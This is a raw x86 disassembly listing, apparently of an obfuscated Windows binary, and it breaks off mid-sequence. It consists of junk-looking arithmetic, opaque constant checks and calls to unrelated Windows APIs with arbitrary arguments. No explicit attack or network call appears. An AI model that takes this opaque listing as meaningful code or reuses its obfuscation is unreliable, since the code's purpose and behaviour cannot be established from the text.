movzx eax, byte [edx]
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0xead]
movzx edx, byte [ebp + 8]
and ecx, edx
cmp eax, ecx
jne 0x4f0aaa
mov eax, dword [ebp - 0x2168]
sub eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov dword [ebp - 0x266c], eax
cmp dword [ebp - 0x266c], 0x3e8ca37a
je 0x4f0a4a
jmp 0x4f0a95
push 0xf4
mov ecx, dword [ebp - 0x131c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [ebp - 0x2168], eax
movzx edx, byte [ebp - 0xead]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x5f5]
push eax
call fcn.004d1cd0
jmp 0x4f0aaa
movzx ecx, byte [ebp - 0xead]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 8], cl
jmp 0x50de28
mov ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x22a0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ebp - 0x167c]
mov ecx, dword [ecx]
sub ecx, dword [edx]
cmp eax, ecx
jae 0x4f0b49
push 0x8e
mov edx, dword [ebp - 0x1a78]
push edx
push 0xe
push 0x8a
lea eax, [ebp - 0x131c]
push eax
push 0x6b
push 0x24
lea ecx, [ebp - 0x10d0]
push ecx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1a58], eax
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
movzx ecx, byte [ebp + 8]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xead], cl
movzx ecx, byte [ebp - 0xead]
push ecx
movzx edx, byte [ebp - 0x5f5]
push edx
call fcn.004d1cd0
mov al, byte [ebp + 8]
mov byte [ebp - 0x2670], al
cmp byte [ebp - 0x2670], 0x88
je 0x4f0b60
jmp 0x4f0bed
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xa40]
add edx, dword [eax]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x2168]
xor eax, dword [edx]
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x1730]
push ecx
lea edx, [ebp - 0xead]
push edx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [ebp - 0xc2c], eax
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x10d0]
shl eax, cl
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10d0]
sar eax, cl
mov dword [ebp + 0xc], eax
movzx ecx, byte [ebp - 0xead]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
jmp 0x4f0c1f
mov eax, dword [ebp - 0x168]
mov cl, byte [eax]
mov byte [ebp - 0x7bd], cl
lea edx, [ebp - 0x2168]
mov dword [ebp - 0xc34], edx
lea eax, [ebp - 0x208]
mov dword [ebp - 0x13d8], eax
lea ecx, [ebp - 0x22a0]
mov dword [ebp - 0x804], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
and eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
lea edx, [ebp + 0xc]
mov dword [ebp - 0x6cc], edx
mov dword [ebp - 0x2000], 0x83ee
mov eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x2674], eax
cmp dword [ebp - 0x2674], 0
je 0x4f0ccd
cmp dword [ebp - 0x2674], 0x7163eb35
je 0x4f0c6e
jmp 0x4f0d1b
lea ecx, [ebp - 0x6cc]
push ecx
lea edx, [ebp - 0x2530]
push edx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0x1a58], eax
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0xc34]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
lea eax, [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0x7bd]
push ecx
call dword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [ebp - 0x14f4], eax
jmp 0x4f0d1b
mov dl, byte [ebp - 0x7bd]
mov byte [ebp - 0xa49], dl
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [ebp - 0xe60]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov dword [ebp - 0x4d4], 0x59bd
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp - 0x10d0]
sub edx, dword [ecx]
mov dword [ebp - 0x208], edx
mov eax, 0x676
mov word [ebp - 0x10dc], ax
mov cl, byte [ebp - 0x5f5]
mov byte [ebp - 0x2678], cl
cmp byte [ebp - 0x2678], 0xb8
je 0x4f0d35
jmp 0x50ddc6
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x22a0]
add eax, dword [edx]
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xe60]
add edx, dword [ecx]
cmp eax, edx
jbe 0x4f0d87
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
call fcn.004d7e60
lea edx, [ebp - 0xc10]
push edx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x5bc], 0x9d45
lea eax, [ebp - 0x2168]
mov dword [ebp - 0x16d0], eax
movzx ecx, word [ebp - 0x10dc]
cmp ecx, 0x2ca
jle 0x4f0eda
mov edx, dword [ebp - 0x22a0]
mov dword [ebp - 0x76c], edx
lea eax, [ebp - 0x7bd]
mov dword [ebp - 0x8b8], eax
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x22a0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x76c]
or ecx, dword [eax]
cmp edx, ecx
jb 0x4f0e90
mov dx, word [ebp - 0x10dc]
mov word [ebp - 0x18dc], dx
mov dword [ebp - 0x15bc], 0x54b2
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x22a0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ebp - 0x76c]
add eax, dword [edx]
cmp ecx, eax
jbe 0x4f0e5f
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
sub edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x208]
and ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x2168], ecx
mov dword [ebp - 0x50], 0x4722
lea edx, [ebp - 0x5f5]
mov dword [ebp - 0xab8], edx
mov ax, word [ebp - 0x18dc]
mov word [ebp - 0xa9c], ax
mov ecx, dword [ebp - 0xf9c]
mov dl, byte [ecx]
mov byte [ebp - 0x213a], dl
jmp 0x4f0eda
mov eax, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x22a0]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0x76c]
and ecx, dword [eax]
cmp edx, ecx
je 0x4f0eda
lea edx, [ebp - 0x22a0]
push edx
lea eax, [ebp - 0x2634]
push eax
lea ecx, [ebp - 0xc10]
push ecx
mov edx, dword [ebp - 0x2634]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [ebp - 0x1f44], eax
mov dword [ebp - 0xc68], 0x7cc8
mov eax, dword [ebp - 0x167c]
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
mov dword [ebp - 0x1fbc], ecx
movsx edx, byte [ebp - 0x5f5]
sub edx, 0x5e
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
cmp edx, ecx
jge 0x4f1065
mov dl, byte [ebp - 0x213a]
mov byte [ebp - 0x267c], dl
cmp byte [ebp - 0x267c], 0xde
je 0x4f0f2a
jmp 0x4f0f40
mov eax, dword [ebp - 0x76c]
or eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
jmp 0x4f0fbd
movzx edx, word [ebp - 0x10dc]
mov dword [ebp - 0x2680], edx
cmp dword [ebp - 0x2680], 0x676
je 0x4f0f67
cmp dword [ebp - 0x2680], 0x7f4
je 0x4f0fa5
jmp 0x4f0fbd
mov eax, dword [ebp - 0x16d0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0xc34]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x208], eax
lea ecx, [ebp - 0x10d0]
mov dword [ebp - 0x33c], ecx
jmp 0x4f0fbd
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
xor eax, ecx
mov byte [ebp - 0xa49], al
mov dword [ebp - 0x964], 0x10d49
mov dl, byte [ebp - 0x5f5]
mov byte [ebp - 0x2684], dl
cmp byte [ebp - 0x2684], 0xb8
je 0x4f0fde
jmp 0x4f1050
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0xa9c]
and eax, ecx
mov word [ebp - 0x10dc], ax
mov edx, dword [ebp - 0x10d0]
mov dword [ebp - 0x2688], edx
cmp dword [ebp - 0x2688], 0xd7ffe02
je 0x4f100f
jmp 0x4f104e
call fcn.0046d040
mov eax, dword [ebp - 0x1fbc]
sub eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
lea edx, [ebp - 0x1b80]
push edx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x660], eax
jmp 0x4f1063
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [eax]
sub ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
jmp 0x4f10df
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1fbc]
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
add eax, ecx
mov edx, dword [ebp - 0xab8]
mov byte [edx], al
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x2404]
push ecx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0x14f4], eax
movzx edx, byte [ebp - 0x213a]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xead], dl
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
sub eax, ecx
mov edx, dword [ebp - 0x168]
mov byte [edx], al
lea eax, [ebp - 0x5f5]
mov dword [ebp - 0x1bdc], eax
lea ecx, [ebp - 0x76c]
mov dword [ebp - 0x29c], ecx
mov edx, dword [ebp - 0x6cc]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
cmp dword [ebp - 0xc68], 0x8b32
ja 0x4f13de
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
add eax, ecx
mov edx, dword [ebp - 0x168]
mov byte [edx], al
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x208]
shl eax, cl
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x208]
or edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22a0]
xor ecx, dword [ebp - 0x1fbc]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x2168]
sar edx, cl
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x33c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x1fbc]
sub eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xead]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1fbc]
sub ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6cc]
add ecx, dword [edx]
mov dword [ebp - 0x10d0], ecx
mov eax, dword [ebp - 0x208]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x16d0]
mov eax, dword [edx]
add eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x5f5]
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], al
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x213a]
movzx edx, byte [ebp - 0x7bd]
or ecx, edx
mov byte [ebp + 8], cl
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0xa9c]
xor eax, ecx
mov word [ebp - 0x18dc], ax
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0xe60]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0xa40]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
movzx eax, byte [ebp + 8]
movzx ecx, byte [ebp - 0x213a]
and eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x7bd]
sub ecx, edx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], cl
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa40]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x10d0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x2168]
add ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movzx edx, byte [ebp - 0x7bd]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
movzx ecx, word [ebp - 0x18dc]
movzx edx, word [ebp - 0x10dc]
add ecx, edx
mov word [ebp - 0xa9c], cx
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0x1fbc]
and ecx, dword [eax]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0x2168]
xor eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0x208]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0xc68]
add eax, 0x7b
mov dword [ebp - 0xc68], eax
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xead], dl
movzx edx, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x10dc]
shl edx, cl
mov word [ebp - 0x18dc], dx
jmp 0x4f110a
movzx eax, byte [ebp + 8]
movzx ecx, byte [ebp - 0xead]
sub eax, ecx
mov edx, dword [ebp - 0xf9c]
mov byte [edx], al
cmp dword [ebp - 0x380], 0x2721
jb 0x4f1817
mov eax, dword [ebp - 0x22a0]
sub eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x10d0]
and eax, dword [edx]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0x10d0]
sub eax, dword [edx]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x8b8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x16d0]
add eax, dword [ecx]
mov dword [ebp - 0x208], eax
mov edx, dword [ebp - 0x14a0]
mov eax, dword [edx]
add eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0xc34]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0x308]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
movzx edx, byte [ebp - 0xead]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x7bd], dl
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x5f5], al
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc34]
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [eax]
mov dword [ebp - 0x10d0], ecx
movzx edx, byte [ebp + 8]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x213a], dl
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x10dc]
sub edx, eax
mov word [ebp - 0x18dc], dx
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x1fbc], eax
mov ecx, dword [ebp - 0x2168]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2168]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov eax, dword [edx]
add eax, dword [ebp - 0x208]
mov dword [ebp + 0xc], eax
movzx edx, byte [ebp - 0x213a]
movzx ecx, byte [ebp - 0xead]
sar edx, cl
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xab8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x16d0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov eax, dword [edx]
or eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1fbc]
and edx, dword [ebp - 0x22a0]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
add edx, dword [eax]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], edx
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x33c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], eax
mov eax, dword [ebp - 0xc34]
mov ecx, dword [ebp - 0x208]
add ecx, dword [eax]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xead]
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp + 8], al
movzx eax, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x10dc]
and eax, ecx
mov word [ebp - 0x18dc], ax
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xead]
sub eax, ecx
mov byte [ebp - 0x213a], al
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
add eax, ecx
mov byte [ebp + 8], al
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp + 0xc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov word [ebp - 0x18dc], dx
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x213a]
shl edx, cl
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ebp - 0x76c]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x2168]
xor ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x208]
or edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0x22a0]
and ecx, dword [eax]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x13d8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
sub eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
mov eax, dword [ebp - 0x380]
sub eax, 0xfa
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x208]
sub edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x2168]
add eax, dword [edx]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
jmp 0x4f13f3
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
and eax, ecx
mov edx, dword [ebp - 0xab8]
mov byte [edx], al
movzx eax, byte [ebp - 0x7bd]
movzx ecx, byte [ebp - 0x213a]
sub eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
mov eax, dword [ebp - 0x2000]
sub eax, 0xba
mov dword [ebp - 0x2000], eax
mov ecx, dword [ebp - 0x804]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x29c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x22a0]
mov dword [ebp - 0x1fbc], edx
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [ebp - 0x1fbc]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x10d0]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
or eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x5f5]
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xab8]
mov byte [edx], cl
mov eax, dword [ebp - 0x22a0]
sub eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp + 0xc]
add eax, dword [edx]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp - 0x10d0]
sub eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ecx]
add edx, dword [ebp - 0x22a0]
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x2168]
add eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x213a]
movzx eax, byte [ebp - 0xead]
and edx, eax
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], dl
cmp dword [ebp - 0x2000], 0x6624
ja 0x4f1817
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp - 0x208]
xor edx, dword [ecx]
cmp eax, edx
jge 0x4f1aaf
lea eax, [ebp - 0x2168]
push eax
push 0x5d
lea ecx, [ebp - 0x1620]
push ecx
call dword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [ebp - 0x1a58], eax
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0xab8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1fbc]
mov dword [ebp - 0x268c], ecx
cmp dword [ebp - 0x268c], 0x59e7fc2a
je 0x4f1a17
cmp dword [ebp - 0x268c], 0xe7368ca8
je 0x4f1a6b
jmp 0x4f1aaf
lea edx, [ebp - 0x2390]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xfb4], eax
movzx eax, byte [ebp + 8]
movzx ecx, byte [ebp - 0xead]
sar eax, cl
mov byte [ebp - 0x213a], al
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
movzx edx, byte [ebp + 8]
push edx
movzx eax, word [ebp - 0x10dc]
push eax
call section..text
jmp 0x4f1aaf
lea ecx, [ebp - 0x1730]
push ecx
lea edx, [ebp - 0x1954]
push edx
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0xc2c]
